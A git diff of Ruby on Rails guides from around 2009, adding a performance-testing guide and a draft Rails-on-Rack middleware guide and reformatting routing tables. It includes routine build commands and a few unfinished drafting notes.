+-------------------------------------------------------
+
+On pages generated by NewsController, you want to hide the top menu and add a right menu:
+
++app/views/layouts/news.erb+
+
+[source, html]
+-------------------------------------------------------
+<% content_for :stylesheets do %>
+ #top_menu {display: none}
+ #right_menu {float: right; background-color: yellow; color: black}
+<% end -%>
+<% content_for :main %>
+ <div id="right_menu">Right menu items here</div>
+ <%= yield %>
+ <% end -%>
+<% render :file => 'layouts/application' %>
+-------------------------------------------------------
+
+NOTE: In versions of Rails before Rails 2.3, you should use +render \'layouts/applications\'+ instead of +render :file => \'layouts/applications\'+
+
+That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
+
+There are several ways of getting similar results with differents sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render \'layouts/news\'+ to base a new layout on the News layout.
+
== Changelog ==
http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15[Lighthouse ticket]
+* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates
+* December 27, 2008: Information on new rendering defaults by link:../authors.html#mgunderloy[Mike Gunderloy]
* November 9, 2008: Added partial collection counter by link:../authors.html#mgunderloy[Mike Gunderloy]
* November 1, 2008: Added +:js+ option for +render+ by link:../authors.html#mgunderloy[Mike Gunderloy]
* October 16, 2008: Ready for publication by link:../authors.html#mgunderloy[Mike Gunderloy]
diff --git a/railties/doc/guides/source/performance_testing.txt b/railties/doc/guides/source/performance_testing.txt
new file mode 100644
index 0000000000..250cf290a2
--- /dev/null
+++ b/railties/doc/guides/source/performance_testing.txt
@@ -0,0 +1,560 @@
+Performance Testing Rails Applications
+======================================
+
+This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:
+
+* Understand the various types of benchmarking and profiling metrics
+* Generate performance and benchmarking tests
+* Use a GC-patched Ruby binary to measure memory usage and object allocation
+* Understand the benchmarking information provided by Rails inside the log files
+* Learn about various tools facilitating benchmarking and profiling
+
+Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.
+
+== Performance Test Cases ==
+
+Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems.
+
+In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest < ActionController::PerformanceTest
+ def test_homepage
+ get '/'
+ end
+end
+----------------------------------------------------------------------------
+
+This example is a simple performance test case for profiling a GET request to the application's homepage.
+
+=== Generating performance tests ===
+
+Rails provides a generator called +performance_test+ for creating new performance tests:
+
+[source, shell]
+----------------------------------------------------------------------------
+script/generate performance_test homepage
+----------------------------------------------------------------------------
+
+This generates +homepage_test.rb+ in the +test/performance+ directory:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+
+class HomepageTest < ActionController::PerformanceTest
+ # Replace this with your real tests.
+ def test_homepage
+ get '/'
+ end
+end
+----------------------------------------------------------------------------
+
+=== Examples ===
+
+Let's assume your application has the following controller and model:
+
+[source, ruby]
+----------------------------------------------------------------------------
+# routes.rb
+map.root :controller => 'home'
+map.resources :posts
+
+# home_controller.rb
+class HomeController < ApplicationController
+ def dashboard
+ @users = User.last_ten(:include => :avatars)
+ @posts = Post.all_today
+ end
+end
+
+# posts_controller.rb
+class PostsController < ApplicationController
+ def create
+ @post = Post.create(params[:post])
+ redirect_to(@post)
+ end
+end
+
+# post.rb
+class Post < ActiveRecord::Base
+ before_save :recalculate_costly_stats
+
+ def slow_method
+ # I fire gallzilion queries sleeping all around
+ end
+
+ private
+
+ def recalculate_costly_stats
+ # CPU heavy calculations
+ end
+end
+----------------------------------------------------------------------------
+
+==== Controller Example ====
+
+Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them.
+
+Here's the performance test for +HomeController#dashboard+ and +PostsController#create+:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+
+class PostPerformanceTest < ActionController::PerformanceTest
+ def setup
+ # Application requires logged-in user
+ login_as(:lifo)
+ end
+
+ def test_homepage
+ get '/dashboard'
+ end
+
+ def test_creating_new_post
+ post '/posts', :post => { :body => 'lifo is fooling you' }
+ end
+end
+----------------------------------------------------------------------------
+
+You can find more details about the +get+ and +post+ methods in the link:../testing_rails_applications.html#mgunderloy[Testing Rails Applications] guide.
+
+==== Model Example ====
+
+Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.
+
+Performance test for +Post+ model:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+
+class PostModelTest < ActionController::PerformanceTest
+ def test_creation
+ Post.create :body => 'still fooling you', :cost => '100'
+ end
+
+ def test_slow_method
+ # Using posts(:awesome) fixture
+ posts(:awesome).slow_method
+ end
+end
+----------------------------------------------------------------------------
+
+=== Modes ===
+
+Performance tests can be run in two modes : Benchmarking and Profiling.
+
+==== Benchmarking ====
+
+Benchmarking helps find out how fast each performance test runs. Each test case is run +4 times+ in benchmarking mode.
+
+To run performance tests in benchmarking mode:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ rake test:benchmark
+----------------------------------------------------------------------------
+
+==== Profiling ====
+
+Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run +1 time+ in profiling mode.
+
+To run performance tests in profiling mode:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ rake test:profile
+----------------------------------------------------------------------------
+
+=== Metrics ===
+
+Benchmarking and profiling run performance tests in various modes described below.
+
+==== Wall Time ====
+
+Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.
+
+Mode : Benchmarking
+
+==== Process Time ====
+
+Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.
+
+Mode : Profiling
+
+==== Memory ====
+
+Memory measures the amount of memory used for the performance test case.
+
+Mode : Benchmarking, Profiling [xref:gc[Requires GC-Patched Ruby]]
+
+==== Objects ====
+
+Objects measures the number of objects allocated for the performance test case.
+
+Mode : Benchmarking, Profiling [xref:gc[Requires GC-Patched Ruby]]
+
+==== GC Runs ====
+
+GC Runs measures the number of times GC was invoked for the performance test case.
+
+Mode : Benchmarking [xref:gc[Requires GC-Patched Ruby]]
+
+==== GC Time ====
+
+GC Time measures the amount of time spent in GC for the performance test case.
+
+Mode : Benchmarking [xref:gc[Requires GC-Patched Ruby]]
+
+=== Understanding the output ===
+
+Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric.
+
+==== Benchmarking ====
+
+In benchmarking mode, performance tests generate two types of outputs :
+
+===== Command line =====
+
+This is the primary form of output in benchmarking mode. Example :
+
+[source, shell]
+----------------------------------------------------------------------------
+BrowsingTest#test_homepage (31 ms warmup)
+ wall_time: 6 ms
+ memory: 437.27 KB
+ objects: 5514
+ gc_runs: 0
+ gc_time: 19 ms
+----------------------------------------------------------------------------
+
+===== CSV files =====
+
+Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files :
+
+ - BrowsingTest#test_homepage_gc_runs.csv
+ - BrowsingTest#test_homepage_gc_time.csv
+ - BrowsingTest#test_homepage_memory.csv
+ - BrowsingTest#test_homepage_objects.csv
+ - BrowsingTest#test_homepage_wall_time.csv
+
+As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.
+
+Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
+
+[source, shell]
+----------------------------------------------------------------------------
+measurement,created_at,app,rails,ruby,platform
+0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00762099999999993,2009-01-08T03:49:25Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00603075000000008,2009-01-08T04:03:29Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00619899999999995,2009-01-08T04:03:53Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00755449999999991,2009-01-08T04:04:55Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00595999999999997,2009-01-08T04:05:06Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
+0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0
+0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
+----------------------------------------------------------------------------
+
+==== Profiling ====
+
+In profiling mode, you can choose from four types of output.
+
+===== Command line =====
+
+This is a very basic form of output in profiling mode:
+
+[source, shell]
+----------------------------------------------------------------------------
+BrowsingTest#test_homepage (58 ms warmup)
+ process_time: 63 ms
+ memory: 832.13 KB
+ objects: 7882
+----------------------------------------------------------------------------
+
+===== Flat =====
+
+Flat output shows the total amount of time spent in each method. http://ruby-prof.rubyforge.org/files/examples/flat_txt.html[Check ruby prof documentation for a better explanation].
+
+===== Graph =====
+
+Graph output shows how long each method takes to run, which methods call it and which methods it calls. http://ruby-prof.rubyforge.org/files/examples/graph_txt.html[Check ruby prof documentation for a better explanation].
+
+===== Tree =====
+
+Tree output is profiling information in calltree format for use by http://kcachegrind.sourceforge.net/html/Home.html[kcachegrind] and similar tools.
+
+=== Tuning Test Runs ===
+
+By default, each performance test is run +4 times+ in benchmarking mode and +1 time+ in profiling. However, test runs can easily be configured.
+
+CAUTION: Performance test configurability is not yet enabled in Rails. But it will be soon.
+
+=== Performance Test Environment ===
+
+Performance tests are run in the +development+ environment. But running performance tests will set the following configuration parameters:
+
+[source, shell]
+----------------------------------------------------------------------------
+ActionController::Base.perform_caching = true
+ActiveSupport::Dependencies.mechanism = :require
+Rails.logger.level = ActiveSupport::BufferedLogger::INFO
+----------------------------------------------------------------------------
+
+As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment.
+
+[[gc]]
+=== Installing GC-Patched Ruby ===
+
+To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[GC patch] for measuring GC Runs/Time and memory/object allocation.
+
+The process is fairly straight forward. If you've never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:
+
+==== Installation ====
+
+Compile Ruby and apply this http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[GC Patch]:
+
+==== Download and Extract ====
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null ~]$ mkdir rubygc
+[lifo@null ~]$ wget <download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby>
+[lifo@null ~]$ tar -xzvf <ruby-version.tar.gz>
+[lifo@null ~]$ cd <ruby-version>
+----------------------------------------------------------------------------
+
+==== Apply the patch ====
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+----------------------------------------------------------------------------
+
+==== Configure and Install ====
+
+The following will install ruby in your home directory's +/rubygc+ directory. Make sure to replace +<homedir>+ with a full patch to your actual home directory.
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null ruby-version]$ ./configure --prefix=/<homedir>/rubygc
+[lifo@null ruby-version]$ make && make install
+----------------------------------------------------------------------------
+
+==== Prepare aliases ====
+
+For convenience, add the following lines in your +~/.profile+:
+
+----------------------------------------------------------------------------
+alias gcruby='~/rubygc/bin/ruby'
+alias gcrake='~/rubygc/bin/rake'
+alias gcgem='~/rubygc/bin/gem'
+alias gcirb='~/rubygc/bin/irb'
+alias gcrails='~/rubygc/bin/rails'
+----------------------------------------------------------------------------
+
+==== Install rubygems and dependency gems ====
+
+Download http://rubyforge.org/projects/rubygems[Rubygems] and install it from source. Rubygem's README file should have necessary installation instructions.
+
+Additionally, install the following gems :
+
+ * +rake+
+ * +rails+
+ * +ruby-prof+
+ * +rack+
+ * +mysql+
+
+If installing +mysql+ fails, you can try to install it manually:
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config
+[lifo@null mysql]$ make && make install
+----------------------------------------------------------------------------
+
+And you're ready to go. Don't forget to use +gcruby+ and +gcrake+ aliases when running the performance tests.
+
+== Command Line Tools ==
+
+Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:
+
+=== benchmarker ===
+
++benchmarker+ is a wrapper around Ruby's http://ruby-doc.org/core/classes/Benchmark.html[Benchmark] module.
+
+Usage:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ...
+----------------------------------------------------------------------------
+
+Examples:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all'
+----------------------------------------------------------------------------
+
+If the +[times]+ argument is omitted, supplied methods are run just once:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ script/performance/benchmarker 'Item.first' 'Item.last'
+----------------------------------------------------------------------------
+
+=== profiler ===
+
++profiler+ is a wrapper around http://ruby-prof.rubyforge.org/[ruby-prof] gem.
+
+Usage:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]
+----------------------------------------------------------------------------
+
+Examples:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ script/performance/profiler 'Item.all'
+----------------------------------------------------------------------------
+
+This will profile +Item.all+ in +RubyProf::WALL_TIME+ measure mode. By default, it prints flat output to the shell.
+
+[source, shell]
+----------------------------------------------------------------------------
+$ script/performance/profiler 'Item.all' 10 graph
+----------------------------------------------------------------------------
+
+This will profile +10.times { Item.all }+ with +RubyProf::WALL_TIME+ measure mode and print graph output to the shell.
+
+If you want to store the output in a file:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt
+----------------------------------------------------------------------------
+
+== Helper methods ==
+
+Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components.
+
+=== Model ===
+
+[source, ruby]
+----------------------------------------------------------------------------
+Project.benchmark("Creating project") do
+ project = Project.create("name" => "stuff")
+ project.create_manager("name" => "David")
+ project.milestones << Milestone.find(:all)
+end
+----------------------------------------------------------------------------
+
+This benchmarks the code enclosed in the +Project.benchmark("Creating project") do..end+ block and prints the result to the log file:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Creating project (185.3ms)
+----------------------------------------------------------------------------
+
+Please refer to the http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for additional options to +benchmark()+
+
+=== Controller ===
+
+Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers]
+
+NOTE: +benchmark+ is a class method inside controllers
+
+[source, ruby]
+----------------------------------------------------------------------------
+def process_projects
+ self.class.benchmark("Processing projects") do
+ Project.process(params[:project_ids])
+ Project.update_cached_projects
+ end
+end
+----------------------------------------------------------------------------
+
+=== View ===
+
+And in http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]:
+
+[source, ruby]
+----------------------------------------------------------------------------
+<% benchmark("Showing projects partial") do %>
+ <%= render :partial => @projects %>
+<% end %>
+----------------------------------------------------------------------------
+
+== Request Logging ==
+
+Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+----------------------------------------------------------------------------
+
+For this section, we're only interested in the last line:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+----------------------------------------------------------------------------
+
+This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
+
+Michael Koziarski has an http://www.therailsway.com/2009/1/6/requests-per-second[interesting blog post] explaining the importance of using milliseconds as the metric.
+
+== Useful Links ==
+
+=== Rails Plugins and Gems ===
+
+* http://rails-analyzer.rubyforge.org/[Rails Analyzer]
+* http://www.flyingmachinestudios.com/projects/[Palmist]
+* http://github.com/josevalim/rails-footnotes/tree/master[Rails Footnotes]
+* http://github.com/dsboulder/query_reviewer/tree/master[Query Reviewer]
+
+=== Generic Tools ===
+
+* http://www.hpl.hp.com/research/linux/httperf[httperf]
+* http://httpd.apache.org/docs/2.2/programs/ab.html[ab]
+* http://jakarta.apache.org/jmeter[JMeter]
+* http://kcachegrind.sourceforge.net/html/Home.html[kcachegrind]
+
+=== Tutorials and Documentation ===
+
+* http://ruby-prof.rubyforge.org[ruby-prof API Documentation]
+* http://railscasts.com/episodes/98-request-profiling[Request Profiling Railscast] - Outdated, but useful for understanding call graphs
+
+== Commercial Products ==
+
+Rails has been lucky to have three startups dedicated to Rails specific performance tools:
+
+* http://www.newrelic.com[New Relic]
+* http://www.fiveruns.com[Fiveruns]
+* http://scoutapp.com[Scout]
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket]
+
+* January 9, 2009: Complete rewrite by link:../authors.html#lifo[Pratik]
+* September 6, 2008: Initial version by Matthew Bergman
diff --git a/railties/doc/guides/source/rails_on_rack.txt b/railties/doc/guides/source/rails_on_rack.txt
new file mode 100644
index 0000000000..6526117c8f
--- /dev/null
+++ b/railties/doc/guides/source/rails_on_rack.txt
@@ -0,0 +1,256 @@
+Rails on Rack
+=============
+
+This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
+
+ * Create Rails Metal applications
+ * Use Rack Middlewares in your Rails applications
+ * Understand Action Pack's internal Middleware stack
+ * Define custom internal Middleware stack
+ * Understand the best practices for developing a middleware aimed at Rails applications
+
+NOTE: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder.
+
+== Introduction to Rack ==
+
+****
+Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+- http://rack.rubyforge.org/doc[Rack API Documentation]
+****
+
+Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links:
+
+* http://rack.github.com[Official Rack Website]
+* http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html[Introducing Rack]
+* http://m.onkey.org/2008/11/17/ruby-on-rack-1[Ruby on Rack #1 - Hello Rack!]
+* http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder[Ruby on Rack #2 - The Builder]
+
+== Rails on Rack ==
+
+=== ActionController::Dispatcher.new ===
+
++ActionController::Dispatcher.new+ is the primary Rack application object of a Rails application. It responds to +call+ method with a single +env+ argument and returns a Rack response. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.
+
+=== script/server ===
+
++script/server+ does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails equivalent of Rack's +rackup+ script.
+
+Here's how +script/server+ creates an instance of +Rack::Builder+
+
+[source, ruby]
+----------------------------------------------------------------------------
+app = Rack::Builder.new {
+ use Rails::Rack::LogTailer unless options[:detach]
+ use Rails::Rack::Static
+ use Rails::Rack::Debugger if options[:debugger]
+ run ActionController::Dispatcher.new
+}.to_app
+----------------------------------------------------------------------------
+
+Middlewares used in the code above are most useful in development envrionment. The following table explains their usage:
+
+[options="header"]
+|==========================================================================================================
+|Middleware |Purpose
+|Rails::Rack::LogTailer | Appends log file output to console
+|Rails::Rack::Static | Serves static files inside +RAILS_ROOT/public+ directory
+|Rails::Rack::Debugger | Starts Debugger
+|==========================================================================================================
+
+=== rackup ===
+
+To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory:
+
+[source, ruby]
+----------------------------------------------------------------------------
+# RAILS_ROOT/config.ru
+require "config/environment"
+
+use Rails::Rack::LogTailer
+use Rails::Rack::Static
+run ActionController::Dispatcher.new
+----------------------------------------------------------------------------
+
+And start the server:
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null application]$ rackup
+----------------------------------------------------------------------------
+
+To find out more about different +rackup+ options:
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo@null application]$ rackup --help
+----------------------------------------------------------------------------
+
+== Action Controller Middleware Stack ==
+
+Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
+
+.What is ActionController::MiddlewareStack ?
+NOTE: +ActionController::MiddlewareStack+ is Rails equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
+
+=== Inspecting Middleware Stack ===
+
+Rails has a handy rake task for inspecting the middleware stack in use:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ rake middleware
+----------------------------------------------------------------------------
+
+For a freshly generated Rails application, this will produce:
+
+[source, ruby]
+----------------------------------------------------------------------------
+use ActionController::Lock
+use ActionController::Failsafe
+use ActiveRecord::QueryCache
+use ActionController::Session::CookieStore, {:secret=>"<secret>", :session_key=>"_<app>_session"}
+use Rails::Rack::Metal
+use ActionController::VerbPiggybacking
+run ActionController::Dispatcher.new
+----------------------------------------------------------------------------
+
+=== Adding Middlewares ===
+
+Rails provides a very simple configuration interface for adding generic Rack middlewares to a Rails applications.
+
+Here's how you can add middlewares via +environment.rb+
+
+[source, ruby]
+----------------------------------------------------------------------------
+# environment.rb
+
+config.middleware.use Rack::BounceFavicon
+----------------------------------------------------------------------------
+
+=== Internal Middleware Stack ===
+
+[source, ruby]
+----------------------------------------------------------------------------
+use "ActionController::Lock", :if => lambda {
+ !ActionController::Base.allow_concurrency
+}
+
+use "ActionController::Failsafe"
+
+use "ActiveRecord::QueryCache", :if => lambda { defined?(ActiveRecord) }
+
+["ActionController::Session::CookieStore",
+ "ActionController::Session::MemCacheStore",
+ "ActiveRecord::SessionStore"].each do |store|
+ use(store, ActionController::Base.session_options,
+ :if => lambda {
+ if session_store = ActionController::Base.session_store
+ session_store.name == store
+ end
+ }
+ )
+end
+
+use ActionController::VerbPiggybacking
+----------------------------------------------------------------------------
+
+[options="header"]
+|==========================================================================================================
+|Middleware |Purpose
+|ActionController::Lock | Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.
+|ActionController::Failsafe | Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.
+|ActiveRecord::QueryCache | Enable the Active Record query cache.
+|ActionController::Session::CookieStore | Uses the cookie based session store.
+|ActionController::Session::MemCacheStore | Uses the memcached based session store.
+|ActiveRecord::SessionStore | Uses the database based session store.
+|ActionController::VerbPiggybacking | Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.
+|==========================================================================================================
+
+=== Customizing Internal Middleware Stack ===
+
+VERIFY THIS WORKS. Just a code dump at the moment.
+
+Put the following in an initializer.
+[source, ruby]
+----------------------------------------------------------------------------
+ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
+ m.use ActionController::Lock
+ m.use ActionController::Failsafe
+ m.use ActiveRecord::QueryCache
+ m.use ActionController::Session::CookieStore
+ m.use ActionController::VerbPiggybacking
+end
+----------------------------------------------------------------------------
+
+Josh says :
+
+****
+3.3: I wouldn't recommend this: custom internal stack
+i'd recommend using config.middleware.use api
+we still need a better api for swapping out existing middleware, etc
+config.middleware.swap AC::Sessions, My::Sessoins
+or something like that
+****
+
+== Rails Metal Applications ==
+
+Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.
+
+=== Generating a Metal Application ===
+
+Rails provides a generator called +performance_test+ for creating new performance tests:
+
+[source, shell]
+----------------------------------------------------------------------------
+script/generate metal poller
+----------------------------------------------------------------------------
+
+This generates +poller.rb+ in the +app/metal+ directory:
+
+[source, ruby]
+----------------------------------------------------------------------------
+# Allow the metal piece to run in isolation
+require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
+
+class Poller
+ def self.call(env)
+ if env["PATH_INFO"] =~ /^\/poller/
+ [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
+ else
+ [404, {"Content-Type" => "text/html"}, ["Not Found"]]
+ end
+ end
+end
+----------------------------------------------------------------------------
+
+Metal applications are an optimization. You should make sure to http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal[understand the related performance implications] before using it.
+
+=== Execution Order ===
+
+All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain.
+
+Here's the primary method responsible for running the Metal applications:
+
+[source, ruby]
+----------------------------------------------------------------------------
+def call(env)
+ @metals.keys.each do |app|
+ result = app.call(env)
+ return result unless result[0].to_i == 404
+ end
+ @app.call(env)
+end
+----------------------------------------------------------------------------
+
+In the code above, +@metals+ is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain.
+
+IMPORTANT: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement.
+
+== Middlewares and Rails ==
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket]
+
+* January 11, 2009: First version by link:../authors.html#lifo[Pratik] \ No newline at end of file
diff --git a/railties/doc/guides/source/routing_outside_in.txt b/railties/doc/guides/source/routing_outside_in.txt
index 3f6c80de5c..a182948bb9 100644
--- a/railties/doc/guides/source/routing_outside_in.txt
+++ b/railties/doc/guides/source/routing_outside_in.txt
@@ -132,18 +132,17 @@ map.resources :photos
creates seven different routes in your application:
-[grid="all"]
-`----------`---------------`-----------`--------`-------------------------------------------
-HTTP verb URL controller action used for
---------------------------------------------------------------------------------------------
-GET /photos Photos index display a list of all photos
-GET /photos/new Photos new return an HTML form for creating a new photo
-POST /photos Photos create create a new photo
-GET /photos/1 Photos show display a specific photo
-GET /photos/1/edit Photos edit return an HTML form for editing a photo
-PUT /photos/1 Photos update update a specific photo
-DELETE /photos/1 Photos destroy delete a specific photo
---------------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================
+|HTTP verb |URL |controller |action |used for
+|GET |/photos |Photos |index |display a list of all photos
+|GET |/photos/new |Photos |new |return an HTML form for creating a new photo
+|POST |/photos |Photos |create |create a new photo
+|GET |/photos/1 |Photos |show |display a specific photo
+|GET |/photos/1/edit |Photos |edit |return an HTML form for editing a photo
+|PUT |/photos/1 |Photos |update |update a specific photo
+|DELETE |/photos/1 |Photos |destroy |delete a specific photo
+|==========================================================================================================
For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as +params[:id]+.
@@ -197,17 +196,16 @@ map.resource :geocoder
creates six different routes in your application:
-[grid="all"]
-`----------`---------------`-----------`--------`-------------------------------------------
-HTTP verb URL controller action used for
---------------------------------------------------------------------------------------------
-GET /geocoder/new Geocoders new return an HTML form for creating the new geocoder
-POST /geocoder Geocoders create create the new geocoder
-GET /geocoder Geocoders show display the one and only geocoder resource
-GET /geocoder/edit Geocoders edit return an HTML form for editing the geocoder
-PUT /geocoder Geocoders update update the one and only geocoder resource
-DELETE /geocoder Geocoders destroy delete the geocoder resource
---------------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================
+|HTTP verb |URL |controller |action |used for
+|GET |/geocoder/new |Geocoders |new |return an HTML form for creating the new geocoder
+|POST |/geocoder |Geocoders |create |create the new geocoder
+|GET |/geocoder |Geocoders |show |display the one and only geocoder resource
+|GET |/geocoder/edit |Geocoders |edit |return an HTML form for editing the geocoder
+|PUT |/geocoder |Geocoders |update |update the one and only geocoder resource
+|DELETE |/geocoder |Geocoders |destroy |delete the geocoder resource
+|==========================================================================================================
NOTE: Even though the name of the resource is singular in +routes.rb+, the matching controller is still plural.
@@ -245,18 +243,17 @@ map.resources :photos, :controller => "images"
will recognize incoming URLs containing +photo+ but route the requests to the Images controller:
-[grid="all"]
-`----------`---------------`-----------`--------`-------------------------------------------
-HTTP verb URL controller action used for
---------------------------------------------------------------------------------------------
-GET /photos Images index display a list of all images
-GET /photos/new Images new return an HTML form for creating a new image
-POST /photos Images create create a new image
-GET /photos/1 Images show display a specific image
-GET /photos/1/edit Images edit return an HTML form for editing a image
-PUT /photos/1 Images update update a specific image
-DELETE /photos/1 Images destroy delete a specific image
---------------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================
+|HTTP verb |URL |controller |action |used for
+|GET |/photos |Images |index |display a list of all images
+|GET |/photos/new |Images |new |return an HTML form for creating a new image
